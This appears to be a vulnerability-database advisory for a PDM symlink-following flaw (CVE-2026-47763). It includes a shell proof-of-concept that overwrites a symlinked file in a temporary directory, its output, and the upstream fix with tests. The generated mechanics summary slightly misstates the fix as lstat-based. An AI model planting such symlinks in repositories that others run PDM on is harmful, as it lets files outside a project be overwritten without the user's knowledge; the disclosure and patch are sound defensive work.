VYPR
Medium severity6.8NVD Advisory· Published Jun 10, 2026· Updated Jun 10, 2026

PDM: Project-Local State and Config Writes Follow Symlinks

CVE-2026-47763

Description

Summary

PDM writes several project-local state or configuration files without symlink protection. If a malicious repository places those files as symlinks, local PDM operations can overwrite the symlink targets.

This creates an arbitrary file clobber primitive relative to the privileges of the invoking user.

Affected

Behavior

  • Project-local config writes can affect files outside the repository
  • The most stable demonstrated sink is pdm.toml
  • Related sinks include .pdm-python and .python-version

Affected

Code

  • src/pdm/project/config.py:303-350
  • src/pdm/project/core.py:209-217
  • src/pdm/cli/commands/use.py:187-189

Technical

Details

Config.__init__() resolves the project-local pdm.toml path and _save_config() writes to the resolved target. If PROJECT_ROOT/pdm.toml is a symlink to another file, pdm config -l ... updates the target file instead of refusing the write.

The same general problem exists for other project-local persistence paths that are written directly with no lstat / O_NOFOLLOW protection.

For the pdm.toml PoC specifically, the target file must already contain parseable TOML. Otherwise the load step fails before the write path is reached. That parser constraint does not apply to the .pdm-python or .python-version sinks.

Impact

  • Arbitrary file clobber as the invoking user
  • Destructive modification of local files outside the repository root
  • Useful primitive for privilege abuse when pdm is run in elevated contexts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)
target="$tmpdir/clobbered-target.toml"

cat > "$target" <<'EOF'
[seed]
value = 1
EOF

ln -s "$target" "$tmpdir/pdm.toml"

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "symlink-clobber-demo"
version = "0.0.1"
EOF

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm config -l venv.in_project false
)

cat "$target"

Expected result:

  • A temporary project is created
  • pdm.toml is a symlink to another TOML file
  • Running pdm config -l venv.in_project false modifies the symlink target

Observed output from local validation:

--- target ---
[seed]
value = 1

[venv]
in_project = false

Severity

Medium

CVSS v4.0

  • Base score: 6.8 (Medium)
  • Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Rationale:

  • AV:L: exploitation requires local execution of pdm against an attacker-prepared checkout
  • AC:L: there is no complex constraint once the symlink sink exists
  • AT:N: no extra prerequisite beyond the victim running the relevant command is required
  • PR:N: the attacker does not need prior privileges on the victim system
  • UI:A: the victim must actively run a command that writes project-local state or config
  • VC:N: the demonstrated issue is a write primitive, not a direct read primitive
  • VI:H: the attacker can cause unauthorized modification of files outside the repository root
  • VA:L: file clobber can disrupt local operation, but direct same-step availability impact is lower than a full RCE
  • SC:N/SI:N/SA:N: the base score is limited to the directly affected system

Root

Cause

Project-local file sinks are treated as trusted regular files and are written without symlink checks or guarded atomic replacement.

Recommended

Remediation

  • Refuse to write project-local config/state files when the destination is a symlink
  • Use lstat and O_NOFOLLOW where available
  • Avoid resolving attacker-controlled project-local paths before writing
  • Use atomic temp-file replacement only after confirming the destination is a regular file

Disclosure

Notes

This issue is independent from the code-execution issues above. It is best tracked as a separate CVE candidate because the root cause and remediation are different.

Affected products

2

Patches

1
2cf992eccaf3

Merge commit from fork

https://github.com/pdm-project/pdmXueMian (ICT.RUN)May 20, 2026Fixed in 2.27.0via ghsa-release-walk
8 files changed · +157 8
  • news/3788.bugfix.md+1 0 added
    @@ -0,0 +1 @@
    +Refuse to write project-local config and state files (`pdm.toml`, `.pdm-python`, `.python-version`) when the destination is a symlink, preventing an untrusted repository from clobbering files outside the project root.
    
  • src/pdm/cli/commands/use.py+2 2 modified
    @@ -11,7 +11,7 @@
     from pdm.models.python import PythonInfo
     from pdm.models.venv import get_venv_python
     from pdm.project import Project
    -from pdm.utils import is_conda_base_python
    +from pdm.utils import is_conda_base_python, open_for_write_no_symlink
     
     
     class Command(BaseCommand):
    @@ -185,7 +185,7 @@ def do_use(
             )
             project.python = selected_python
             if version_file and project.config["python.use_python_version"]:
    -            with project.root.joinpath(".python-version").open("w") as f:
    +            with open_for_write_no_symlink(project.root.joinpath(".python-version")) as f:
                     f.write(f"{selected_python.major}.{selected_python.minor}\n")
             if project.environment.is_local:
                 assert isinstance(project.environment, PythonLocalEnvironment)
    
  • src/pdm/project/config.py+14 3 modified
    @@ -14,6 +14,7 @@
     from pdm._types import RepositoryConfig
     from pdm.compat import tomllib
     from pdm.exceptions import NoConfigError, PdmUsageError
    +from pdm.utils import open_for_write_no_symlink
     
     REPOSITORY = "repository"
     SOURCE = "pypi"
    @@ -302,7 +303,9 @@ def add_config(cls, name: str, item: ConfigItem) -> None:
     
         def __init__(self, config_file: Path, is_global: bool = False):
             self.is_global = is_global
    -        self.config_file = config_file.resolve()
    +        # Keep the path as given (only made absolute) instead of resolving symlinks,
    +        # so a symlinked destination can still be detected and refused on write.
    +        self.config_file = config_file.absolute()
             self.deprecated = {v.replace: k for k, v in self._config_map.items() if v.replace}
             self._file_data = load_config(self.config_file)
             self._data = collections.ChainMap(
    @@ -332,9 +335,9 @@ def iter_sources(self) -> Iterator[RepositoryConfig]:
                     yield RepositoryConfig(**data, name=name[len(SOURCE) + 1 :], config_prefix=SOURCE)
     
         def _save_config(self) -> None:
    +        """Save the changes to the config file."""
             import tomlkit
     
    -        """Save the changed to config file."""
             self.config_file.parent.mkdir(parents=True, exist_ok=True)
             toml_data: dict[str, Any] = {}
             for key, value in self._file_data.items():
    @@ -346,7 +349,15 @@ def _save_config(self) -> None:
                     temp = temp[part]
                 temp[last] = value
     
    -        with self.config_file.open("w", encoding="utf-8") as fp:
    +        # A project-local pdm.toml may be planted as a symlink by an untrusted
    +        # repository to clobber a file outside the project (GHSA-ghq2-5c67-fprm).
    +        # The global config lives in the user's own config directory and is not
    +        # attacker-controlled, so a user-managed symlink there is honored.
    +        if self.is_global:
    +            writer: Any = self.config_file.open("w", encoding="utf-8")
    +        else:
    +            writer = open_for_write_no_symlink(self.config_file)
    +        with writer as fp:
                 tomlkit.dump(toml_data, fp)
     
         def __getitem__(self, key: str) -> Any:
    
  • src/pdm/project/core.py+3 1 modified
    @@ -40,6 +40,7 @@
         is_conda_base_python,
         is_path_relative_to,
         normalize_name,
    +    open_for_write_no_symlink,
     )
     
     if TYPE_CHECKING:
    @@ -214,7 +215,8 @@ def _saved_python(self, value: str | None) -> None:
                 with contextlib.suppress(FileNotFoundError):
                     python_file.unlink()
                 return
    -        python_file.write_text(value, "utf-8")
    +        with open_for_write_no_symlink(python_file) as fp:
    +            fp.write(value)
     
         def resolve_interpreter(self) -> PythonInfo:
             """Get the Python interpreter path."""
    
  • src/pdm/utils.py+30 1 modified
    @@ -6,6 +6,7 @@
     
     import atexit
     import contextlib
    +import errno
     import functools
     import inspect
     import json
    @@ -27,7 +28,7 @@
     from packaging.version import Version
     
     from pdm.compat import importlib_metadata
    -from pdm.exceptions import PDMDeprecationWarning, PdmException
    +from pdm.exceptions import PDMDeprecationWarning, PdmException, PdmUsageError
     
     if TYPE_CHECKING:
         from re import Match
    @@ -170,6 +171,34 @@ def atomic_open_for_write(filename: str | Path, *, mode: str = "w", encoding: st
             os.unlink(name)
     
     
    +@contextlib.contextmanager
    +def open_for_write_no_symlink(filename: str | Path, *, encoding: str = "utf-8") -> Iterator[IO[str]]:
    +    """Open *filename* for writing text, refusing to follow a symlink.
    +
    +    Project-local state and config files (``pdm.toml``, ``.pdm-python``,
    +    ``.python-version``) may be planted as symlinks by an untrusted repository to
    +    redirect the write onto a file outside the project root. This helper rejects
    +    such writes: on POSIX it passes ``O_NOFOLLOW`` so the kernel rejects the open
    +    atomically (no TOCTOU window); on platforms lacking ``O_NOFOLLOW`` it falls
    +    back to a best-effort ``lstat`` pre-check.
    +    """
    +    path = Path(filename)
    +    nofollow = getattr(os, "O_NOFOLLOW", 0)
    +    if not nofollow and path.is_symlink():
    +        raise PdmUsageError(f"Refusing to write to {path} because it is a symlink.")
    +    try:
    +        fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC | nofollow, 0o666)
    +    except OSError as exc:
    +        if exc.errno in (errno.ELOOP, errno.EMLINK):
    +            raise PdmUsageError(f"Refusing to write to {path} because it is a symlink.") from exc
    +        raise
    +    fp = open(fd, "w", encoding=encoding)
    +    try:
    +        yield fp
    +    finally:
    +        fp.close()
    +
    +
     @contextlib.contextmanager
     def cd(path: str | Path) -> Iterator:
         _old_cwd = os.getcwd()
    
  • tests/cli/test_config.py+54 0 modified
    @@ -1,6 +1,7 @@
     import pytest
     
     from pdm.exceptions import PdmUsageError
    +from pdm.project.config import Config
     from pdm.utils import cd
     
     
    @@ -231,3 +232,56 @@ def test_keyring_operation_error_disables_itself(project, keyring, mocker):
         assert not keyring.enabled
         assert keyring.get_auth_info("pdm-pypi-extra", "foo") is None
         assert keyring.get_auth_info("pdm-repository-pypi", None) is None
    +
    +
    +def _symlink_or_skip(link, target):
    +    try:
    +        link.symlink_to(target)
    +    except OSError as e:
    +        pytest.skip(f"symlink is not supported: {e}")
    +
    +
    +def test_config_keeps_symlink_path(tmp_path):
    +    target = tmp_path / "target.toml"
    +    target.write_text("python.use_pyenv = false\n")
    +    link = tmp_path / "config.toml"
    +    _symlink_or_skip(link, target)
    +
    +    config = Config(link)
    +
    +    # The symlink path is kept (only made absolute), not resolved to the target.
    +    assert config.config_file == link.absolute()
    +    assert config.config_file.is_symlink()
    +    assert config["python.use_pyenv"] is False
    +
    +
    +def test_config_refuses_to_write_symlinked_file(tmp_path):
    +    target = tmp_path / "target.toml"
    +    target.write_text("python.use_pyenv = true\n")
    +    link = tmp_path / "config.toml"
    +    _symlink_or_skip(link, target)
    +
    +    config = Config(link)
    +
    +    with pytest.raises(PdmUsageError, match="symlink"):
    +        config["python.use_pyenv"] = False
    +
    +    # The symlink target outside the intended file is left untouched.
    +    assert target.read_text() == "python.use_pyenv = true\n"
    +    assert link.is_symlink()
    +
    +
    +def test_global_config_writes_through_symlink(tmp_path):
    +    target = tmp_path / "target.toml"
    +    target.write_text("python.use_pyenv = true\n")
    +    link = tmp_path / "config.toml"
    +    _symlink_or_skip(link, target)
    +
    +    # The global config is the user's own file; a user-managed symlink (e.g. a
    +    # dotfiles-managed config) is honored rather than refused.
    +    config = Config(link, is_global=True)
    +    config["python.use_pyenv"] = False
    +
    +    assert link.is_symlink()
    +    assert config["python.use_pyenv"] is False
    +    assert "use_pyenv = false" in target.read_text()
    
  • tests/test_project.py+19 1 modified
    @@ -11,7 +11,7 @@
     from pytest_httpserver import HTTPServer
     
     from pdm.environments import PythonEnvironment
    -from pdm.exceptions import PdmException, ProjectError
    +from pdm.exceptions import PdmException, PdmUsageError, ProjectError
     from pdm.models.requirements import parse_requirement
     from pdm.models.specifiers import PySpecSet
     from pdm.models.venv import get_venv_python
    @@ -593,3 +593,21 @@ def test_select_lockfile_format(project, pdm, capsys):
             pdm(["export", "-f", "pylock", "-o", "pylock.toml"], strict=True)
         project._lockfile = None
         assert project.lockfile._path.name == "pylock.toml"
    +
    +
    +def test_saved_python_refuses_symlinked_pdm_python(project):
    +    real = project.root / "real-state.txt"
    +    real.write_text("untouched")
    +    link = project.root / ".pdm-python"
    +    link.unlink(missing_ok=True)
    +    try:
    +        link.symlink_to(real)
    +    except OSError as e:
    +        pytest.skip(f"symlink is not supported: {e}")
    +
    +    with pytest.raises(PdmUsageError, match="symlink"):
    +        project._saved_python = "/some/python"
    +
    +    # The symlink target outside .pdm-python is left untouched.
    +    assert real.read_text() == "untouched"
    +    assert link.is_symlink()
    
  • tests/test_utils.py+34 0 modified
    @@ -554,3 +554,37 @@ def now(cls, tz=None):
         monkeypatch.setattr(utils, "datetime", FrozenDateTime)
     
         assert utils.convert_to_datetime(value) == expected_datetime
    +
    +
    +def test_open_for_write_no_symlink_writes_regular_file(tmp_path):
    +    target = tmp_path / "file.txt"
    +    with utils.open_for_write_no_symlink(target) as fp:
    +        fp.write("hello")
    +    assert target.read_text() == "hello"
    +    assert not target.is_symlink()
    +
    +
    +def test_open_for_write_no_symlink_truncates_existing_file(tmp_path):
    +    target = tmp_path / "file.txt"
    +    target.write_text("stale content")
    +    with utils.open_for_write_no_symlink(target) as fp:
    +        fp.write("new")
    +    assert target.read_text() == "new"
    +
    +
    +def test_open_for_write_no_symlink_refuses_symlinked_target(tmp_path):
    +    real = tmp_path / "real.txt"
    +    real.write_text("untouched")
    +    link = tmp_path / "link.txt"
    +    try:
    +        link.symlink_to(real)
    +    except OSError as e:
    +        pytest.skip(f"symlink is not supported: {e}")
    +
    +    with pytest.raises(PdmUsageError, match="symlink"):
    +        with utils.open_for_write_no_symlink(link):
    +            pass
    +
    +    # The symlink and its target are both left intact.
    +    assert link.is_symlink()
    +    assert real.read_text() == "untouched"
    

Vulnerability mechanics

Root cause

"Project-local file sinks are written without symlink checks or guarded atomic replacement."

Attack vector

An attacker prepares a malicious repository containing a symlink for a project-local configuration file, such as `pdm.toml`, that points to an arbitrary target file. When a victim user runs a PDM command that modifies this configuration, such as `pdm config -l venv.in_project false`, PDM writes to the symlink's target instead of refusing the operation. This allows the attacker to overwrite arbitrary files with the privileges of the user running PDM [ref_id=1].

Affected code

The vulnerability lies in the handling of project-local configuration and state files. Specifically, the `Config.__init__()` method resolves the path for `pdm.toml`, and `_save_config()` writes to this resolved target. Similar issues exist in `src/pdm/project/core.py` and `src/pdm/cli/commands/use.py` where other project-local paths are written without sufficient symlink protection [ref_id=1].

What the fix does

The patch modifies PDM to refuse writing to project-local config or state files when the destination is a symlink. It achieves this by using `lstat` to check if the target path is a symlink before proceeding with the write operation. This prevents PDM from overwriting the target of a symlink, thereby closing the arbitrary file clobber vulnerability [patch_id=5507896].

Preconditions

  • inputA malicious repository containing a symlink for a project-local configuration file (e.g., `pdm.toml`) pointing to an arbitrary target file.
  • inputFor `pdm.toml`, the target file must contain parseable TOML for the load step to succeed before the write occurs.

Reproduction

# CVE-2026-47763 PoC

```bash # Replace this with a Python interpreter that can run `python -m pdm`. PDM_PY=/path/to/python-with-pdm tmpdir=$(mktemp -d) target="$tmpdir/clobbered-target.toml"

cat > "$target" <<'EOF' [seed] value = 1 EOF

ln -s "$target" "$tmpdir/pdm.toml"

cat > "$tmpdir/pyproject.toml" <<'EOF' [project] name = "symlink-clobber-demo" version = "0.0.1" EOF

( cd "$tmpdir" && "$PDM_PY" -m pdm config -l venv.in_project false )

cat "$target" ```

Expected result:

- A temporary project is created - `pdm.toml` is a symlink to another TOML file - Running `pdm config -l venv.in_project false` modifies the symlink target

Observed output from local validation:

```text --- target --- [seed] value = 1

[venv] in_project = false ```

Generated on Jun 10, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.